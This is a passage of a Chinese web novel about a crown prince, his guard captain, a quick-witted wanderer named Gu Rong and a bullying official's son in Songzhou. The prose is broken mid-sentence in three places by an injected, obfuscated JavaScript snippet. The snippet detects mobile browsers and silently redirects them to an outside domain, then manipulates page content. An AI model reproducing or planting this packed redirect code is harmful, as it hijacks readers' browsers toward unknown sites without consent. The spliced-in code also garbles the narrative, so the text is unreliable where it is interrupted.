这人抑扬顿挫,一唱三叹,宛如唱戏一般,引来众书生一阵唏嘘大笑。 “严兄你怎这般大胆,眼下太子就驻跸在松州,你就不怕被东宫的人拉去砍头?东宫那位可是砍头如切瓜。” 锦袍书生面露倨傲:“崔氏使者已然接了我的投帖,从今日起,我严茂才就是名正言顺的崔氏客卿了,东宫再残暴,还能公然与崔氏作对不成?” 书生们对望一眼,都露出欣羡眼神,纷纷拱手道贺。 虽然五姓七望几乎都派了使者来揽人,但能被崔氏这样的煊赫高门选中的,到底寥寥。 一人笑道:“我说严兄今日怎这般大方,请我们来黄鹤楼吃宴,原来是有了这天大的好消息。五姓客卿,便是州官见了,也得礼敬三分。能得崔氏青眼,严兄将来前程不可限量,以后可要多提携小弟们。” 另一人则道:“凭令堂大人的面子,就算严兄不去投帖,也必能顺利拜入崔氏门下,这回楚江盛会,要不是那个季子卿有眼不识泰山,魁首之位,必是严兄囊中之物。” “一个又倔又臭的穷酸而已,本公子岂会与他一般见识。” 严茂才信手挥开折扇。 “俗话说得好,无规矩不成方圆,楚江盛会有楚江盛会的规矩,本公子既参会,就得遵循规矩不是。” “严兄大器!” 众人又一阵恭维。 顾容慢条斯理吃着鱼羹,正想,这满嘴放炮又聒噪又惹人厌的声音怎有些耳熟,听到此处,才恍然大悟,这被众人众星拱月一般拱在中间的“严茂才”,正是昨日楚江盛会摘得第二“文探花”的次魁之一。 不由摇了下头。 这时,又有两名衣着朴素的书生从外走了进来。 “严兄快看谁来了。” 邻桌一书生忽挑眉道。 严茂才座位正冲着门口,抬眼一看,目光便有些阴沉,接着却是一笑,拍着折扇,拔高语调招呼:“呦,这不是季子卿季大才子么?这个时辰,怎不在苦读,反而来此消遣?” 和季子卿同行的书生一看到严茂才一行,便面色大变,下意识拉住季子卿,想退出去,往别处去。 季子卿不卑不亢与严茂才对视,道“严公子巧,我带朋友来吃饭。” “巧?” 严茂才自鼻间发出一声笑。 “昨日评审官夸你季大才子是寒门英才,这寒门才子,不都是吃糠咽菜,一个铜板掰成两半花么?也吃得起黄鹤楼么?” 众书生一脸看好戏的表情。 站在季子卿旁边的书生已经吓得低下头,季子卿仍毫不畏避平视严茂才:“这黄鹤楼并未规定寒门学子不能进,大安更没有哪条法令规定寒门学子不能来黄鹤楼吃饭,是严公子对寒门的看法太过偏狭。” “哦对。” 严茂才一脸恍然大悟的表情。 “我险些忘了,季才子祖上也是有人当过官的,最高……我想想,最高似乎做到了九品推官呢!” 推官掌一县推勾狱讼之事,是实打实芝麻绿豆小官,且因为常年和犯人尸体打交道,这职位素来被人瞧不起,被视为官场里的“下九流”。 严茂才名为褒赞,实为嘲讽贬低。 众人听了这话,一阵哄笑。 还有人拍着大腿:“九品推官,好大的官哟!” “子卿,咱们还是走吧。” 同行友人低声道。 “不用怕。我们付钱吃饭,光明正大。” 季子卿昂然而立:“我祖父是做过推官不假,可他奉公职守,坦坦荡荡,对得起朝廷栽培和自己俸禄,我敬重他。” 语罢,径直拉着友人往一处空案而去。 “站住!” 严茂才冷不丁开口。 季子卿只停步,并不回头:“严公子还有何吩咐?” 严茂才合扇起来,走到季子卿前头,拦住他去路,哼道:“听说你也往崔氏投了帖?” 季子卿道:“我往何处投帖,关严公子何事?” “你往其他地方投我管不着,可崔氏不行。” 严茂才语气强势:“立刻去将你的名帖拿回来,否则,休怪我不客气。” 季子卿皱眉。 “严公子虽为严别驾贵子,可眼下还是白身,恐怕还管不了平民百姓的事。” “恕在下难以从命。” 严茂才也不见如何,只手中折扇轻一抬,站在他身后一名家丁立刻上前一步,抡起胳膊便往季子卿脸上招呼了过去。 这一巴掌极重。 季子卿登时口角流血,险些跌倒在地。 “你、你怎么打人!” 与季子卿同行的书生吓得扶住人,愤怒看向严茂才。 原本热闹的大堂因这变故静了下来,食客们纷纷伸着脑袋看来。 两个堂倌也战战兢兢站在一边,想劝架,又不敢,显然是畏惧严茂才威势,只能一个劲儿赔笑:“严公子消消气,大怒伤身啊。” 直接被严府家丁蛮横推开。 那些簇拥着严茂才的书生也站了起来,幸灾乐祸瞧着季子卿。 严茂才两只眼阴沉沉落在季子卿脸上:“你也配跟我讲律令王法?我告诉你,在这松州城里,你严公子便是王法。” “我再问你一遍,那名帖,你撤还是不撤?” 季子卿顶着肿了一半的脸,仍昂着头:“恕难从命。” “好!有骨气!” 严茂才脸色彻底阴下去,冷笑一声:“来人,给我好好教教他规矩。” 严府家丁立刻一拥而上,将季子卿拖到角落里拳打脚踢起来。 “求求你们,住手,快住手吧!” 同行书生扑上去哀求,也被一脚踢翻在地。 “都看什么,还不快滚!” 食客们见情况不妙,纷纷四散躲着离开大堂。 这下堂倌倒慌了,直接跪下恳求:“严公子,快高抬贵手吧,眼下太子正在城中,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856963|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是闹出人命,怕不好收场!” 严茂才听了这话,皱眉凝思片刻,果然抬了下手。 家丁们将已经被打得鼻青脸肿不成人样的季子卿重新拖了过来。 严茂才居高临下问:“名帖,你撤,还是不撤?” “撤!他撤!” 同行书生抢着代答:“他一定撤,严公子,请您高抬贵手,饶了子卿吧!” “你比他识时务。” 严茂才又一抬扇,家丁立刻松手。 他盯着人,眼底浮起丝狠厉,道:“明日,若让我知道你没撤,我打断你的腿。” 书生生怕他反悔,立刻踉跄扶着季子卿离开了。 “严兄消消气,不必与这茅坑里的臭石头一般见识。” 其他书生围过来劝解。 “跟他?犯不上。” 严茂才蔑然一笑,接过下人递来的茶水,正要润润嗓子,眼角余光不经意一瞥,才发现已经空荡荡的大堂,和这桌紧挨着的、那临窗的位置上还坐着一道蓝色身影。 方才那么大的动静,再加上家丁驱逐,其他食客都已吓得跑掉,这个人竟然毫无所觉一般,仍淡定坐在原处喝汤。 其他人自然也瞧见了。 严茂才眼睛一眯。 严府领头家丁立刻大步过去,往桌子上用力一拍,一脸凶恶道:“赶紧滚,今天这大堂,我们少爷包了!” 顾容不紧不慢喝完一勺鱼羹,才抬头,指了指自己耳朵。 “在下这里不好使,这位……你刚刚说什么?” 家丁一时不知他是故意的还是真是个聋子。 愈发没好气道:“老子让你滚,没听到么!” “哦,这回听到一点点。” 顾容唇角划出一点笑:“不过这位兄台,你这话不对啊。” “一则,我好端端一个人,能走能跑,唯独不会‘滚’,要不兄台你先与我示范一下,这‘滚’字的妙诀?” “二则,您这副尊容,也不像我老子啊。” 家丁还头回遇到这样伶牙俐齿的,一时被堵得哑口无言,七窍冒烟。 旁边两个堂倌已经憋不住想笑。 严茂才原本是习惯阴着一双眼,待看清顾容于日光下露出的真容,眼睛倏地一亮一定。 “不得无礼。” 严茂才将家丁喝退,整了整衣袍,迈步走上前,在顾容身上逡梭一圈,笑着道:“家仆无礼,冒犯小郎君了。小郎君怎独自在这里用膳?” 顾容悠悠苦恼道:“我倒是想找人作陪,可惜无亲无友,举目伶仃啊。” 严茂才笑意愈深,顺手捞起顾容面前的白瓷茶盏摩挲着。 “相逢即是缘,小郎君若是不弃,我陪小郎君喝两杯可好?” 顾容摆手。 “那可不成。” “我兄长严令过,出门在外,不许与陌生人饮酒。” “我兄长那个人,整日舞枪弄棒,脾气极差,我若不听话,他肯定饶不了我。” 严茂才目含探究:“小郎君不是说自己无亲无友?” “有跟没有差不多吧。” 顾容一脸沉痛。 “我那兄长,在东宫门下做事。” “整日跟着那位主子耳濡目染,杀人如麻。” “管这管那,旁人与我多说两句话,被他瞧见,都要剜了人家的眼。类兄台这般,摸我用过的茶盏,说不定要被他剁手。” “兄台你说,这年头,谁家好人效忠东宫啊。” “因为这事儿,我走在大街上都觉得抬不起头来,羞于见人!宁愿自己没有这样的兄长!” 严茂才:“……” 奉命而来、半只脚刚刚踏入大堂的姜诚:“…………” 7.兄长(二) 严茂才目光转向堂倌。 堂倌会意,立刻呵腰上前道:“这位小郎君的兄长,的确英武高大,随身携带刀剑,人看起来挺不好惹……” 堂倌回忆着昨夜情形,暗自咋舌。 难怪对方只是站在那里,便威势深重,十分有压迫感,教人不敢直视,原来竟是东宫的人! 由于东宫在民间口碑感人,一般人提起东宫二字,都觉得里面连同太子本人全是一群杀人如麻的恶魔。 得到确证,严茂才一腔绮念顿时消了个七八。 他虽有了崔氏做靠山,不惧东宫,但不代表他愿意得罪东宫。东宫那位的行事风格,他是有所耳闻的,随心所欲,喜怒无常,根本没有章法可循,自己若真有把柄落在对方手里,后果无法预料。 “是我失敬了。” 严茂才不着痕迹放下那只忽然有些烫手的茶盏,只用目光流连:“没想到小郎君竟有一位如此了不起的兄长。” 到嘴的美人飞了,说到“了不起”三字,严茂才到底带了点不甘。 顾容笑眯眯道:“严公子客气。” “方才那位兄台出门就想给人当爹,倒也是个有趣之人。” 方才骂人的家仆:“……” 严茂才则略有意外问:“小郎君识得我?” 顾容做惊讶状:“何用识得,严公子大名,在松州谁人不知,谁人不晓,令尊严别驾亦是官声斐然,在下一介草民,只有瞻仰拜服的份儿,岂敢高攀。” 严茂才听得愉悦:“小郎君既知我,便应知道,在这松州城里,大小事情,我是能说得上话的。” “日后小郎君但有需要帮助的地方,皆可来别驾府寻我。” 顾容点头:“一定!” 一旁家仆:“……” 一般人不该婉拒么? 严茂才却露出点笑意,唰得展开手中折扇,领着一群书生扬长而去。 大堂外,姜诚沉默收回刚迈进去的半只脚。 想,这小郎君果然两面三刀,口蜜腹剑,满嘴鬼话,不值得丝毫同情! 殿下竟还让他过来看看这小骗子饭钱够不够用。 除了那张脸,他实是看不到小骗子身上还有半点可取之处。 姜诚果断转身而去。 他得好好与殿下禀报一下这小骗子首鼠两端的“恶行”才好! —— 奚融刚与幕僚们议完事,正坐在临时辟出的议事堂里持卷而阅。 虽然外界将太子本人传得如同恶魔,但东宫上下皆知,太子严于律己,勤勉于事,有一套严苛到堪称可怖的作息时间表,且一年三百六十日,风雨无阻。 作为世人眼里的“杀人狂魔”,奚融其实还手不释卷,每日无论军务政务多繁重,都会抽出空闲时间读书,涉猎范围亦极广,从诸子百家到野闻游记,甚至是诗词歌赋,都是太子书架上能看到的书卷。 姜诚进来后,恭行一礼,便噼里啪啦将方才所见所闻讲了一遍。 “他当真如此说?” 好一会儿,他听案后的殿下问。 听不出喜怒。 “千真万确,属下在外面听得清清楚楚。” “这小郎君真不是个省油的灯,昨日还说殿下和东宫的好,劝人去投帖,今日就翻脸不认,百般诋毁,竟还说以身在东宫为耻,如此首鼠两端,实在教人震惊意外!” 姜诚一副长见识的表情,并已经做好承接殿下怒火的准备。 但奚融却只是平静抬头,问:“孤让你送去的钱呢?” 姜诚立刻从怀中取出一个沉甸甸的钱袋子,上前一步,恭敬呈到案上,觉得自己很体察上意:“殿下放心,都在这里,分文未少,那等情况,属下怎还可能给他继续付饭钱。” 奚融没说话。 但姜诚明显感觉到,室中气压低了些。 “姜统领,是孤最近给你的薪俸太高了么?” 片刻后,一声冷笑落下。 姜诚一愣,而后想到什么,瞬间一个激灵,冷汗涔涔跪了下去。 “属下不该自作主张,请殿下责罚。” 姜诚单膝跪伏在案前,鬓角亦无声淌下一缕冷汗。 奚融面容笼在日光中,将他晾了片刻,才又问:“严茂才是何人?” “是松州别驾严鹤梅之子,亦是此次楚江盛会的文探花。” 姜诚不敢抬头,绷着肩答:“听说严鹤梅与崔氏走得很近,严茂才这回能拜入崔氏门下,全靠他在暗中经营。因为有崔氏做靠山,严鹤梅虽然只是一个别驾,在松州府的话语权却很大。” “在东宫做事的‘兄长’。” “现学现卖,他倒挺聪明。” 奚融忽不明意味道了声,唇角弧度先几不可察挑了下,旋即不知想到什么,又冷沉压下。 姜诚一愣。 殿下这口气,显然不是在点评严鹤梅,而是在说那小骗子。 但似乎并没有带多少愤怒? 殿下素来雷霆手腕,不循那些君子之道,对这来路不明的小骗子,似乎格外宽容。昨夜不仅一反常态亲自将小骗子从乞丐窝里送到客栈,还让他订了最贵的上房。 施恩如此。 姜诚不禁开始自我怀疑,难道小骗子身上除了那张脸,还有什么其他隐晦的美好品质,被自己忽略了? 他堂堂东宫侍卫统领,何时如此眼拙了? “你再去一趟,带上东宫的令牌,告诉管事之人,那间上房,他愿意住几日就住几日,一应开销,都由‘他兄长’来结。” 沉默顷刻,奚融吩咐。 姜诚立刻明白,殿下此举,是要将那小骗子有一个“在东宫做事的兄长”这件事落实,这何止是宽容,简直是到了纵容的地步,当下也再不敢多言半句,或者表露出一点不合适的神色,恭敬应是。 严茂才走在街上与众人谈笑风生。 旁边人忽惊呼一声:“严兄,你的手怎么了?” 严茂才低头,才发现自己右手上不知何时竟密密麻麻起了许多红疹,以至于整只手都像从染缸里捞出来的一般,变成了诡异的红色。 严茂才霍然变色。 也直至此刻,一股难耐的奇痒,突然烈火卷野一般在掌上蔓延起来。 众人关切问:“怎会如此?”“严兄可是碰了什么不干净的东西?” 因这种症状,十分像过敏引发的风疹。 严茂才如何知道。 鬼知道他摸过什么赃物! 他只知自己这只手此刻如同被万蚁啃噬一般,又痛又痒,恨不得一剑剁了才好。 然而这是他提笔写字的手,如何能真剁。 严府家丁也都傻了眼,生怕公子是染了什么恶疾,赶忙弄来一座肩舆,与众人匆匆告辞,慌里慌张抬着严茂才往别驾府而去。 大堂内,顾容慢悠悠吃完最后一口鱼羹,满足起身。 堂倌立刻上前侍奉。 自打知道这小郎君兄长竟是在东宫做事,堂倌态度比之前更加殷勤。 正要收拾案面,顾容忽道:“有只茶盏我不慎摔碎了,你算个价钱,我赔给你。” 堂倌伶俐道:“一只茶盏而已,不值几个钱,能碎在小郎君手里,也是它的福气。” “那可不成,岂能白占贵店便宜,这样,我拿这个与你换。” 堂倌见是盒梅花糕,糕纸上印着在松州颇有名气的“采春斋”字样,便知虽只是一盒糕,实则价值不菲,也不再推拒,笑着接过,道:“多谢小郎君赏了。” 吃完饭,顾容直接出了客栈,来到街上。 他随遇而安惯了,没什么具体目标,知道附近有一家颇有名的书坊,见今日天气不错,离得又近,便起意去逛逛。 没走几步,忽听前方传来一阵哀切哭声,打眼一看,才发现是之前在大堂里见过的书生正用力摇着一个跌坐在墙角的人,语调急切:“子卿,你快醒醒,别吓我!” 周围人见他们这模样,生怕惹上麻烦官司,都不敢靠近。 顾容隔着人群看了眼,立刻识出那个垂着脑袋一身是伤无力滑坐在墙角的人,正是刚刚被打的那名叫季子卿的书生,也是此次楚江盛会的文魁。 “子卿,子卿!” 见好友毫无反应,张九夷越发焦急唤人。 “他应当是气血淤堵,昏厥过去了,用这个试试。” 张九夷绝望之际,忽听旁侧传来一道声音。 抬头,看到是一个广袖蓝袍丰神若玉的年轻小郎君站在那儿,眸若蕴星,及腰乌发只用一根竹木簪随意挽起,手里握着一个瓷瓶。 张九夷愣了下:“这是?” “可以通七窍的药粉,你让他闻一闻。” 对方道。 眼下也别无选择了,且对方看起来如此笃定,张九夷点头接过,依言将药瓶放到季子卿鼻下,不多时,季子卿果然悠悠转醒。 张九夷激动问:“子卿,你怎样了?” 季子卿缓慢点头。 接着又将视线移到顾容身上,艰难道:“多谢……小公子出手相助。” 顾容眼睛一弯,将药瓶放回袖袋里:“举手之劳而已。兄台伤得不轻,还是赶紧找个大夫瞧瞧吧。” “没错,子卿,咱们这就去医馆。” “还有,去完医馆,我就陪你去崔氏使者那里,将名帖讨回。” 张九夷准备扶人。 季子卿却摇头。 “我不会撤帖的。” 顾容原本已经打算转身离开,听了这话,忍不住回头,抱臂摇头道:“这位兄台,依我看,你这顿打挨得一点都不冤,且还挨轻了。我劝兄台,治好伤赶紧远离松州避祸,说不准还能留个全尸。” “……” 张九夷虽也觉得好友脾气太倔了些,但仍下意识回护:“小郎君不知前因后果,怎可如此说……” “你难道听不出来,我是在救他?” 顾容也不讲究,直接就着块草席盘膝坐下,施施然道:“俗话说得好,强龙难压地头蛇,在这松州城里,他严茂才便是那条地头蛇,兄台你当真觉得,只凭一腔意气,就能对抗这条霸王蛇么?” “那些酸腐和圣人们虽常教导人要宁折不弯,可人立于世,还是得识时务会变通,骨气这种东西是不能当饭吃的,再硬的骨头,一把铁锤就能敲碎,似兄台这般不撞南墙不回头,到最后多半就是个头破血流的下场。兄台好歹是个文魁,怎这般与自己脑袋过不去呢。” 张九夷惊得合不拢嘴。 “小郎君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没错!”张九夷两眼放光:“你别忘了,五姓七望之首,不是崔氏,而是萧氏!听说那萧王亦知人善任,广纳人才,且坐镇中书……” “好主意。”顾容在一边说风凉话:“京都远在千里之外,这位兄台伤成这样,只怕还没走到就得断气,如此倒是省了棺材钱了。” “……” 一番交谈下来,张九夷已经对顾容深信不疑,充满敬意,恨不得引为知己,忙虚心道:“不如请小郎君给我们指条明路!” 就见那小郎君撑起下巴,作沉思状:“唔,依我看,何必舍近求远,东宫就不错嘛。” “听说东宫昨日张榜一日,门可罗雀,情状凄惨,只有一人投帖,还是个骗吃骗喝的,兄台若去投帖,凭兄台文魁之名,东宫上下一定受宠若惊,敲锣打鼓夹道欢迎!” 张九夷:“…………” “小郎君可别拿我们开涮了!” 张九夷睁大眼,瞳孔剧震,看向顾容的眼神甚至带了警惕与古怪。 “东宫……若真为了那五斗米便去东宫投帖,我们怕要被天下读书人耻笑死!” 顾容仍撑着下巴。 “后果如此严重么?” “自然!” “今日多谢小郎君仗义相助,我们还得去医馆,就不叨扰小郎君了。来日若有机会,一定报答小郎君大恩。” 张九夷匆匆弯身一揖,几乎是半扛着好友落荒而逃,似乎顾容是什么洪水猛兽。 顾容展了展衣袍,慢悠悠起身,也不在意。 只再度将掌心那枚铜板抛到半空,扬袖接住,用正反决定要不要去书坊转转。 “新鲜出炉的桂花糖哟,小郎君要不要来两块?” 伴着路边摊贩一声热情招呼,铜板落入掌中,反面朝上,代表“ 不可去”。 顾容连抛两次,都是反面朝上。 不由“咦”一声,摇头慨叹:“书兄书兄,看来是天公不作美,你我今日有缘无分啊。” “老板,这些糖全给我包了。” 糖贩老周闻声抬头,就见他方才随口招呼过的那蓝袍小郎君背手站在了摊位前,正笑吟吟看着他,接着从后伸出一只手,露出一把铜钱。 老周还是头回见生得这般好看的年轻人,呆了下,才哎一声说好。 — “他走了?” 日光稀疏照入议事堂内。 听到姜诚禀报,奚融握毫的手一顿,自案后抬头。 “是。” 姜诚亦不掩意外。 “堂倌说,那小骗……小郎君是半个时辰前刚退的房。” “余下的房钱和饭钱都在这里了,还有这个——” 姜诚忍着嘴角抽搐,将一个硕大的用麻绳捆着的牛皮纸包恭敬呈到案上:“是那小郎君留下的,说如果‘兄长’回来,让堂倌帮忙转交,并转告‘兄长’:” “说他有急事要办,先回家去了,这包桂花糖,是特意买给兄长的,让兄长好好办差,见糖如见他,勿太惦记他……他会好好照顾自己,绝不令兄长操心……” “他还会日日在家中焚香祈祷,祝兄长疾病早消,官运亨通,步步高升,夫妻恩爱,儿女成群……” 姜诚只觉鸡皮疙瘩都掉了一地。 要不是知晓内情,他就信了这感人的“兄弟情深”! 8.遇刺(一) 奚融视线掠过那包糖,问:“民间送此物,有什么讲究么?” 姜诚欲言又止。 “说。” “……在松州,桂花糖一般用作喜糖,用来贺新婚之喜或弄璋弄瓦之喜。一些富贵人家,还会专门制作桂花糖做聘礼或嫁妆……” 姜诚硬着头皮答。 要不是笃定对方不知殿下身份,他简直要怀疑,对方是居心不良,故意讽刺他们殿下没老婆也没儿没女。 姜诚已经不敢想象殿下的脸色将会多难看。 出乎姜诚意料,奚融并未露出任何不虞,只问:“可知他家在何处?” 姜诚摇头。 “属下打听过了,没人认识他。” 见奚融不作声,姜诚道:“一个江湖小骗子而已,这辈子恐怕都没住过那么好的客栈,能遇着殿下,也算他的福气。” “那三盒梅花糕他可带走了?” 奚融又问。 姜诚一愣,忙点头。 “带走了,只是只带走两盒,另一盒送给了堂倌。” 奚融狭长眸微微一眯。 “送人?” “是,听说是打碎了人家一只茶盏,抵银子赔给人家的。” 姜诚以为殿下终于要动怒了。 谁料奚融道:“他若真是个小骗子,大可自己昧了剩下的钱,而不是等你去取,早膳也不会只点一份清粥小菜。” “倒是孤考虑失周了,早知他如此急着回去,该多给他准备一些礼物的。” 姜诚:?? 姜诚几乎怀疑自己耳朵出了问题。 因他竟隐隐从殿下语气里听出了一丝宠溺,甚至遗憾。 殿下一向恩威并重,赏罚分明,虽不至于如外界传得一般冷酷刻薄,但的确淡漠寡情,摒弃私欲,鲜少对除公务以外的事产生兴趣,眉目间永远带着一股拒人于千里之外的肃萧之气,何曾对人如此宽纵过。 难道殿下还真有把那来路不明鬼话连篇的小郎君招入东宫做幕僚的想法?! 姜诚被自己想法吓到。 那样一个小郎君,招进来能干什么,靠那张脸给东宫撑门面吗? 禀报完事,姜诚自觉退下。 奚融独坐案后,一半身子笼在日光中,一半浸在昏暗里。他伸手,解开麻绳,拆开牛皮纸包,果见里面整整齐齐排列着小山一般浅褐色桂花糖块。 他拿起一块,不由勾起唇角。 新婚喜糖。 可惜,他这一生,应当都不会有这种喜事。 正如这萍水相逢、罕见让他提起一些兴趣的人,也是泥牛入海,稍纵即逝。 至于子嗣—— 他若败,不需要这种东西。 他若赢,还愁没人上赶着给他养老送终么? 他可一点没有与人生儿子的兴趣。 奚融无情而凉薄想。 —— “殿下怎样了?” 傍晚时,宋阳与周闻鹤匆匆赶来议事堂,见姜诚从内出来,立刻上前询问。 姜诚摇了下头。 “殿下还在浴房。” “从午后到现在,已经两个多时辰了。” 宋阳心倏地一沉。 “这两年,殿下发病频次越来越高,冰浴时间也越来越长,长此以往必会损伤经脉,须得想个法子才是。” 世人关于太子奚融虽有很多并不准确的传言,但有一个传言,却是真的。 太子奚融,的确身患一种疯病。 这病发作时,血脉倒流,目若滴血,情状十分可怖,发病者浑身经脉亦犹若被滚岩熔烧,痛楚至极。 痛到极致,便可能失去控制,做一些自己都意料不到的事。 比如杀人。 十七岁第一次发病时,奚融杀了十一个宫人。 一个疯子怎能做太子,做大安的储君,为了平息众怒,证明自己没有患病,只是醉酒误事,奚融在自己身上捅了十一刀,为被他误杀的十一名宫人偿罪。 奚融的生母只是一个柔弱的异族女子,能当上皇后纯属捡漏,他也不知自己儿子怎会患上这种怪病,看着奚融浑身是血躺在东宫里,随时可能断气,几乎哭瞎了眼。 但奚融活了过来。 之后为了掩人耳目,每次发病,奚融都将自己浸在冰池之中,靠毅力硬挺过去。为了防止自己再失手杀人,奚融命工匠在浴池底部嵌了一副玄铁脚铐,重达百斤。 时至今日,宋阳仍记得太子第一次从冰池出来的情形,玄衣墨发的青年,面容苍白如纸,周身笼着森严寒意,仿佛是从阴曹地府里走出来的恶鬼,一双脚却是皮肉糜烂,血淋淋的,一步一个血印,全是被锁铐生生磨出来的。 这临时驻跸的行馆里却是没有锁铐的。 宋阳怎能不担忧。 偏这时,松州知府吴知隐过来请安。 “听闻殿下身子不适,可好些了?” 吴知隐伸着脖子往内看了眼,问宋阳。 宋阳还没说话,一旁周闻鹤先讽刺:“吴大人消息倒是灵通。” 吴知隐知他是个不好惹的,远不如宋阳平易近人,讪讪一笑:“殿下身份尊贵,驻跸此地,整个松州府都蓬荜生辉,下官身为一州父母官,自要恭谨侍奉,岂敢怠慢。” 宋阳面上不显,内心愈发焦灼担忧。 吴知隐此来未必没有打探情况的意思,若殿下控制不住病症,引发什么可怕后果,传出去,殿下这些年的忍耐与经营恐将毁于一旦。 正心忧如焚,一名青服内侍趋步而来,朝几人恭行一礼:“太子殿下请两位先生和吴大人进去。” 殿内燃着清淡的安神香。 奚融一身玄裳,墨发未束,微阖目,坐于书案之后。 除了脸色较平时苍白了些,看起来与平时并无二样。 吴知隐捧着厚厚一摞请罪表,跪伏在冰冷地砖上,口中道:“殿下驾临松州,臣本应率领全体官员过来给殿下请安,聆听殿下教训,然而近来正值多事之秋,很多官员无法亲自到场……本官已严厉申饬,并命他们奉上请罪书,请殿下过目。” 侍立在案边的青衣内侍立刻将东西呈到太子案头。 纸页翻动声在寂静室内响起。 吴知隐维持跪伏姿势,一颗心也随那声音怦怦直跳。 “写的不错。” 顷刻,一道慢条斯理声音响起。 “只是孤若没记错,松州府内大小官员应有一百三十六人,吴大人呈上的谢罪表,却不足人数一半。怎么,剩下的全都死了么?那吴大人此刻应该在奔丧,而不是来孤这里。还是说,孤也得出笔银子,让他们风光厚葬。” “……” “这……这……” 吴知隐汗流浃背,总算真切体会到了些许这位犀利刻薄的办事风格。支吾半天,也没答出个所以然。 周闻鹤阴阳怪气代他答:“想来是都忙着喝酒吃宴呢。听闻这两日,举凡松州数得上名号的酒楼,皆通宵达旦,夜夜笙歌,全是当地官员在宴请那几姓使者,气势之大,周某在东宫都听见了,吴大人竟不知道么?” 吴知隐顿时笑得比哭得还难看。 “竟有此事么?下官确实不知,一定好好查证……周大人也知,下官只是一个知府,官微言轻,不是所有事都管得了,说句不好听的,有时还得看属官脸色行事……” 说完,认命磕头请罪:“都是下官御下不严,办事不力,请殿下惩处!” 他在请罪,也在诉苦。 一阵长久寂静。 “吴大人言重了。” “孤早听闻,这松州府是卧虎藏龙之地,吴大人能担起一府重任,想来背后也是有高人撑腰的,孤岂敢轻易得罪。真要请罪,也该孤给你吴大人请罪才是。” 奚融笑道。 根本不必看,吴知隐已经可以想象,此刻奚融虽笑着,眼底颜色会是何等冰寒,他甚至听出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870641|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了些许森然之意。 “殿、殿下可别折煞下官了。 吴知隐顿时笑得比哭得还难看。 “下官这种愚钝资质,哪里有贵人瞧得上呢。” 脚步声忽在耳边响起。 吴知隐余光瞥见一片绣着金丝蟒纹的乌缎靴面,日光下,那蟒仿佛活了过来,凶相毕露。 极致的恐惧,令他控制不住自己的身体,抖如筛糠。 “吴大人在怕什么?” 一声带了玩味的笑压下:“放心,孤没有在书案前杀人的习惯。” “吴大人的心意,孤已收到,退下吧。” 一直到走出议事堂,吴知隐两条腿都是软的。 走了没多远,他就看到,两个侍卫抬着一具尸体从他面前经过。 看清那尸体的模样,吴知隐悚然变色。 “吓到吴大人了吧?” 姜诚从后走来。 让侍卫将尸体放下,道:“嘴巴硬得很,可惜还不够硬,我本来打算留着夜里慢慢审,就当消磨时间了,谁料才敲断他五十根骨头,他就受不住招了。” “身为东宫侍卫,竟出卖主子。吴大人,你说,这样吃里扒外的东西,是不是便宜他了?” 吴知隐说不出话,直接跑到一边干呕起来。 姜诚冷眼瞧着,挥手,命侍卫将尸体抬走。 议事堂内,只剩宋阳一人。 宋阳道:“经过殿下今日这番震慑,谅那吴知隐不敢再轻易来窥探消息。不过,这吴知隐虽然鬼心思多,方才应该没有说假话,他能到松州任职,是得了岳丈提携,后来岳丈被崔氏所弃,吴知隐也没了靠山,这知府之位可谓朝不保夕,他近年来一直在暗中经营,想和京中大族攀上关系,起初是想巴结崔氏,可惜崔氏因着他岳丈的事不信任他,更看重严鹤梅,他又转投萧氏,结果——” 宋阳忽停下。 奚融看他:“结果如何?” “他在那萧王生辰当日,写了洋洋洒洒一篇数千字的生辰贺文献到了萧王府,结果被那……咳,狂傲不可一世的萧王世子批的一文不值,还说他浪费纸张,糟蹋墨水,直接逐出了玉龙台。” 若非必要,宋阳实是不愿意在殿下面前提起萧氏那位世子。 虽然那位世子严格来说和殿下与东宫并无多少交集,但行事之张狂,实在令东宫上下记忆犹新。 所以宋阳立刻转移话题:“听说这吴知隐一计不成,并不死心,为了和严鹤梅较劲儿,一直在变着法的找机会讨好萧氏。此次过来打探殿下情况,说不准就是怀揣如此目的。” 殿下似乎真被他转移了注意力:“敲山震虎,孤要震的不仅是他吴知隐,而是这松州城里所有想置孤于死地的人,能把人安插到东宫,也算他们的本事。” “那件事,可有线索了?” 奚融忽问。 没了外人在场,他墨发披散,整张面容都笼着一层森寒霜意,眉心亦微拧着,眸底甚是可见残存的赤色。 宋阳亦不敢抬头与他对视,只微微压低了些声道:“正要与殿下禀报。” 外人都以为,殿下突然驻跸松州,是因楚江大会的缘故,想借机招揽人才,只有宋阳知道,殿下其实另有目的。 事情缘起是此次在西南与乌蛮作战时,他们抓获到一名为乌蛮效力的安朝俘虏,那人自称前朝闵怀太子旧部,称松州境内一座山里,藏有一批数额颇巨的秘密宝藏,是闵怀太子为谋逆所备。他愿用这个秘密换自己一命。 前朝闵怀太子,正是因谋逆被废,且母舅曾在松州任职。 奚融亲自提审过人后,便命暗卫将人秘密看押起来,断绝其与外界联系。 宋阳便知,殿下是动了寻找那批宝藏的心思。 